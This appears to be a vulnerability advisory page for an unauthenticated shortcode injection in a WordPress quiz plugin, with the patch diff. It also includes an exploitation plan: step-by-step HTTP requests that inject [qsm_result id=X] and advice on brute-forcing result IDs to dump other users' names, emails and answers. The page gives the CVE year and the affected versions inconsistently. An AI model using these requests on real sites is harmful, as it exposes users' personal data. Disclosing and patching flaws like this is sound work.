CVE-2026-5797

Quiz and Survey Master (QSM) <= 11.1.0 - Unauthenticated Shortcode Injection Leading to Arbitrary Quiz Result Disclosure via Quiz Answer Text Input Fields

mediumImproper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
11.1.1
Patched in
1d
Time to patch

Description

The Quiz And Survey Master plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to and including 11.1.0. This is due to insufficient input sanitization and the execution of do_shortcode() on user-submitted quiz answer text. User-submitted answers pass through sanitize_text_field() and htmlspecialchars(), which only strip HTML tags but do not encode or remove shortcode brackets [ and ]. When quiz results are displayed, the plugin calls do_shortcode() on the entire results page output (including user answers), causing any injected shortcodes to be executed. This makes it possible for unauthenticated attackers to inject arbitrary WordPress shortcodes such as [qsm_result id=X] to access other users' quiz submissions without authorization, as the qsm_result shortcode lacks any authorization checks.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=10.1.0
PublishedApril 16, 2026
Last updatedApril 17, 2026
Affected pluginquiz-master-next

What Changed in the Fix

Changes introduced in v11.1.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2024-5797 - Shortcode Injection in Quiz and Survey Master (QSM) ## 1. Vulnerability Summary The **Quiz and Survey Master (QSM)** plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode injection in versions up to and including 11.1.0. The vulnerab…

Show full research plan

Exploitation Research Plan: CVE-2024-5797 - Shortcode Injection in Quiz and Survey Master (QSM)

1. Vulnerability Summary

The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode injection in versions up to and including 11.1.0. The vulnerability exists because user-submitted quiz answers are sanitized using sanitize_text_field() and htmlspecialchars(), which strip HTML but fail to remove or encode square brackets [ and ]. When a quiz is submitted via AJAX, the plugin generates a results page based on a template (e.g., using the %QUESTIONS_ANSWERS% variable). Crucially, the plugin then executes do_shortcode() on this final output. An attacker can inject a shortcode like [qsm_result id=X] into a text input answer field. When the results are displayed to the attacker, the injected shortcode executes, disclosing the quiz results of an arbitrary submission ID (X) because the qsm_result shortcode lacks authorization checks.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: qmn_process_quiz (registered in QMNQuizManager::add_hooks)
  • Vulnerable Parameter: Question answer fields (e.g., questionX where X is the question ID) and potentially contact fields (e.g., mlwUserName).
  • Authentication: Unauthenticated (the plugin registers wp_ajax_nopriv_qmn_process_quiz).
  • Preconditions:
    1. A quiz must exist with at least one text-based question (input or textarea).
    2. The "Results Page" template for that quiz must be configured to display the user's answers (default behavior using %QUESTIONS_ANSWERS% or %USER_ANSWERS_DEFAULT%).

3. Code Flow

  1. Entry: An unauthenticated user sends a POST request to admin-ajax.php with action=qmn_process_quiz.
  2. AJAX Handler: QMNQuizManager::ajax_submit_results() (in php/classes/class-qmn-quiz-manager.php) is triggered.
  3. Processing Answers: The plugin iterates through the submitted answers. For text questions, QSM_Question_Review::sanitize_answer_from_post is called, which utilizes sanitize_text_field() or sanitize_textarea_field(). These functions do not neutralize shortcode brackets.
  4. Result Generation: After scoring, the plugin prepares the "Message After" content (the results page). It replaces template variables (like %QUESTIONS_ANSWERS%) with the user-provided (and injected) answer strings.
  5. Shortcode Execution: The plugin calls do_shortcode() on the resulting string.
  6. Sink: The WordPress shortcode parser encounters [qsm_result id=X]. It calls QMNQuizManager::shortcode_display_result(), which fetches and returns the quiz result for the specified ID without checking if the current user owns that result.
  7. Disclosure: The leaked result data is returned in the AJAX response to the attacker.

4. Nonce Acquisition Strategy

The qmn_process_quiz action requires a nonce. This nonce is generated specifically for each quiz and can be obtained via a secondary AJAX action.

  1. Find a Quiz: Identify an existing quiz ID (e.g., 1).
  2. Fetch Nonce: Perform an unauthenticated AJAX request to get the nonce for that specific quiz ID.
    • Action: qsm_create_quiz_nonce (registered in QMNQuizManager::add_hooks).
    • Parameter: quiz_id.
  3. Extract from Response: The response is a JSON object.
    • Key: response.data.nonce.
    • Note: The response also provides a unique_key which may be required in the submission.

Implementation via Browser Eval:

If navigating to a page containing the quiz:

// Localization object found in js/qsm-quiz.js via qmn_ajax_object
const ajax_url = qmn_ajax_object.ajaxurl;
// You can also find the quiz ID from the HTML (.qsm-quiz-container-ID)

5. Exploitation Strategy

Step 1: Create Target Data

Submit a "legitimate" quiz response to generate a result_id in the database.

Step 2: Obtain Submission Nonce

Request a nonce for the target quiz.

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=qsm_create_quiz_nonce&quiz_id=1
    
  • Capture: nonce and unique_key.

Step 3: Inject Shortcode

Submit a second quiz response containing the injection.

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=qmn_process_quiz&quiz_id=1&qmn_nonce=[NONCE]&qsm_unique_key=[UNIQUE_KEY]&question1=[qsm_result id=1]&timer=10
    
  • Note: question1 assumes the question ID is 1. The payload is [qsm_result id=1].

Step 4: Capture Disclosure

The response to the Step 3 request will contain the rendered HTML of the results page. Look for the output of the [qsm_result] shortcode, which will contain the details (name, email, answers) of result ID 1.

6. Test Data Setup

  1. Create Quiz:
    wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}mlw_quizzes\", ['quiz_name' => 'Vulnerable Quiz', 'message_after' => 'Results: %QUESTIONS_ANSWERS%', 'deleted' => 0]);"
    # Get the ID (likely 1)
    
  2. Create Question:
    wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}mlw_questions\", ['quiz_id' => 1, 'question_type_new' => 'text', 'question_name' => 'Enter text', 'answer_array' => serialize([]), 'deleted' => 0]);"
    
  3. Ensure Page Exists:
    wp post create --post_type=page --post_status=publish --post_title="Quiz Page" --post_content='[qsm quiz="1"]'
    
  4. Generate Legitimate Result:
    Perform one submission via Step 2/3 (without injection) to populate the results table and get a result_id.

7. Expected Results

A successful exploit will return a JSON response where the display or html field contains the rendered results of the other user's submission.
Example snippet in response:

<div class="qsm-results-container">
    <h3>Result for John Doe</h3>
    <p>Email: john@example.com</p>
    ... [Data from Result ID 1] ...
</div>

8. Verification Steps

  1. Check Results Table: Confirm multiple entries exist in wp_mlw_results.
    wp db query "SELECT result_id, quiz_id, name, email FROM wp_mlw_results"
    
  2. Confirm Vulnerable Code Path: Verify that the text submitted in Step 3 matches the data belonging to the result_id targeted in the shortcode.

9. Alternative Approaches

  • Contact Fields: If question fields are heavily sanitized, try injecting into mlwUserName or mlwUserEmail contact fields handled by QSM_Contact_Manager.
  • Shortcode Variants: If [qsm_result] is somehow restricted, use other info-disclosing shortcodes like [qsm_leaderboard quiz_id=1] or standard WordPress shortcodes to confirm execution (e.g., [site_value...]).
  • Timing/ID Brute Force: Since result_id is an auto-incrementing integer, an attacker can iterate through IDs (e.g., [qsm_result id=1], [qsm_result id=2]) to dump the entire results database.
Research Findings
Static analysis — not yet PoC-verified

Summary

Unauthenticated attackers can inject arbitrary WordPress shortcodes into quiz answer fields, which are subsequently executed when the plugin renders the results page using do_shortcode(). By injecting the [qsm_result] shortcode, an attacker can bypass authorization and disclose sensitive quiz submission data belonging to any user by providing their result ID.

Vulnerable Code

// php/classes/question-types/class-question-review.php:36
public function sanitize_answer_from_post( $data ) {
	if ( 'text_area' === $this->input_field ) {
		return sanitize_textarea_field( wp_unslash( $data ) );
	} else {
		return sanitize_text_field( wp_unslash( $data ) );
	}
}

---

// php/classes/class-qmn-quiz-manager.php:574
public function shortcode_display_result( $attr ) {
	$id = intval( $attr['id'] );
	global $wpdb;
	$result_data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}mlw_results WHERE result_id = %d", $id ), ARRAY_A );
	if ( $result_data ) {
		wp_enqueue_style( 'qmn_quiz_common_style', $this->common_css, array(), $mlwQuizMasterNext->version );
		// ... (continues to render result without checking ownership)

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.0/php/classes/class-qmn-quiz-manager.php /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.1/php/classes/class-qmn-quiz-manager.php
--- /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.0/php/classes/class-qmn-quiz-manager.php	2026-04-06 14:03:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.1/php/classes/class-qmn-quiz-manager.php	2026-04-14 13:33:08.000000000 +0000
@@ -577,6 +577,20 @@
 			global $wpdb;
 			$result_data = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}mlw_results WHERE result_id = %d", $id ), ARRAY_A );
 			if ( $result_data ) {
+				$current_user_id = get_current_user_id();
+				$result_user_id  = intval( $result_data['user'] );
+				$can_view_result = false;
+				if ( current_user_can( 'manage_options' ) || current_user_can( 'qsm_view_results' ) ) {
+					$can_view_result = true;
+				} elseif ( $current_user_id > 0 && $current_user_id === $result_user_id ) {
+					$can_view_result = true;
+				}
+				$can_view_result = apply_filters( 'qsm_can_view_result', $can_view_result, $id, $result_data, $current_user_id );
+				if ( ! $can_view_result ) {
+					esc_html_e( 'You do not have permission to view this result.', 'quiz-master-next' );
+					$content = ob_get_clean();
+					return $content;
+				}
 				wp_enqueue_style( 'qmn_quiz_common_style', $this->common_css, array(), $mlwQuizMasterNext->version );
 				wp_style_add_data( 'qmn_quiz_common_style', 'rtl', 'replace' );
 				wp_enqueue_style( 'dashicons' );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.0/php/classes/question-types/class-question-review.php /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.1/php/classes/question-types/class-question-review.php
--- /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.0/php/classes/question-types/class-question-review.php	2026-04-06 14:03:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.1/php/classes/question-types/class-question-review.php	2026-04-14 13:33:08.000000000 +0000
@@ -35,10 +35,11 @@
 
 	public function sanitize_answer_from_post( $data ) {
 		if ( 'text_area' === $this->input_field ) {
-			return sanitize_textarea_field( wp_unslash( $data ) );
+			$sanitized = sanitize_textarea_field( wp_unslash( $data ) );
 		} else {
-			return sanitize_text_field( wp_unslash( $data ) );
+			$sanitized = sanitize_text_field( wp_unslash( $data ) );
 		}
+		return strip_shortcodes( $sanitized );
 	}

Exploit Outline

The exploit is achieved by submitting a quiz response that contains a shortcode payload. 1. **Preparation**: Identify a target Quiz ID. Use an unauthenticated AJAX request to `action=qsm_create_quiz_nonce` with the `quiz_id` to retrieve a valid security nonce and `unique_key` required for submission. 2. **Injection**: Send a POST request to `admin-ajax.php` with `action=qmn_process_quiz`. In one of the question answer parameters (e.g., `question1`), include the payload `[qsm_result id=X]`, where `X` is the ID of a victim's quiz result. 3. **Execution**: The plugin processes the answers using `sanitize_text_field()`, which fails to remove square brackets. It then generates the results page content, substituting the user's answer into the template. Finally, it calls `do_shortcode()` on the resulting HTML. 4. **Disclosure**: Because the `qsm_result` shortcode lacks ownership or permission checks, it fetches and renders the full details of the quiz result for ID `X`. This rendered data is returned to the attacker in the AJAX response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.